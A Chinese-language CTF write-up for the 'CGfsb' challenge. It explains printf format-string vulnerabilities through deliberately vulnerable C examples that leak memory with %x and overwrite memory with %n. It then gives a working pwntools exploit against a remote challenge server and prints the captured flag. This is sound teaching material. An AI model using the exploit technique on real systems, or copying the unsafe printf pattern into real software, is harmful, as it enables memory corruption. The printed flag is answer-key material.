CTF – CGCTF – CGfsb

题目说明

题目来源: CGCTF

题目: cgfsb

printf() 格式化字符串漏洞

漏洞说明

printf()函数的格式为

1
printf("字符串",输出列表);

正常的printf()语句为

1
2
char a[11] = "Hello World";
printf("%s",a);

输出Hello World

如果printf()语句为

1
2
char a[11] = "Hello World";
printf(a);

虽然printf()语句还是能够正常输出,但是a变量会被当成字符串进行输出
如果a变量中包含基本的格式化字符串参数(%s,%n,%x等)就会造成可利用漏洞

更改一下代码,增加一个用户输入

1
2
3
4
5
6
7
#include<stdio.h>
void main(){
char a[100] = "Hello World";
scanf("%s",a);
printf(a);
printf("\n");
}

编译后正常输入HelloWorld,返回正常

在HelloWorld后面加上一个格式化字符串%d

再多加几个%d

把格式化字符串改为%d,%x并且用.做分割

此时输出的数据都是当前执行的命令下方的数据,这就造成了内存泄露

接下来尝试一下覆盖内存数据,使用格式化字符串%n,%n的定义如下:

%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100×10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。

为了方便观察,打印后面十个内存数据

1
2
3
4
5
6
7
8
#include<stdio.h>
void main(){
char a[100] = "Hello World";
scanf("%s",a);
printf(a);
printf("\n");
printf("%x.%x.%x.%x.%x.%x.%x.%x.%x.%x\n");
}

先查看正常输入AAAA的内存情况

查找输入变量的位置,AAAA(41414141),确定偏移量为6

尝试使用0x12345678覆盖输入变量的值

原先第六位AAAA(41414141)被覆盖为0x1234678(12345678)
也就实现了数据覆盖

解题步骤

拿到文件后先查看文件类型是32位的elf文件

检查安全机制几乎没有并且关闭了PIE内存随机

使用IDA32查看伪代码

发现存在上述的格式化字符串漏洞,而解题关键在于pwnme==8
所以我们尝试覆盖pwnme的值以满足要求得到flag

先用AAAA测试得到偏移量为10

在ida32中查看pwnme在内存中的位置为0x0804A068
由于没有开启PIE内存随机,所以常量pwnme的位置是固定的

写出exp

1
2
3
4
5
6
7
8
9
from pwn import *
context(os='linux',arch='i386')
p = remote('111.198.29.45','38137')
p.recvuntil("please tell me your name:")
p.send('AAAA')
p.recvuntil("leave your message please:")
dest = p32(0x0804A068)
p.send(dest+'AAAA%10$n')
p.interactive()

运行得到flag

flag:

1
cyberpeace{e0a93f331f5d78af429a2eeac8e2a885}

参考链接